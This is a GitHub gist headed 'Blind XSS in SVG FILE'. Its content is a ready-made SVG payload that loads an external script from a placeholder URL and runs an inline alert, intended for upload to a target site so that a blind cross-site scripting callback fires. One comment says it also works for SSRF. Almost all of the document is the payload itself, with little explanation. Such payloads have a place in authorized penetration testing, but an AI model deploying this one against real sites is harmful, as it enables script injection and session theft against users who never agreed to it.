Skip to content

Instantly share code, notes, and snippets.

@ioribrn

ioribrn/Blind XSS in SVG FILE

Created March 16, 2020 13:13
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save ioribrn/aafd49c7c3a5cc7e1ba4848b75a52f4b to your computer and use it in GitHub Desktop.
Save ioribrn/aafd49c7c3a5cc7e1ba4848b75a52f4b to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Blind XSS in SVG FILE
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://your-urls-here" />
<script>
//<![CDATA[
alert("ble");
]]>
</script>
</svg>
@luca-regne
Copy link

It can be used for SSRF too

@Steiner-254
Copy link

Interesting <3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment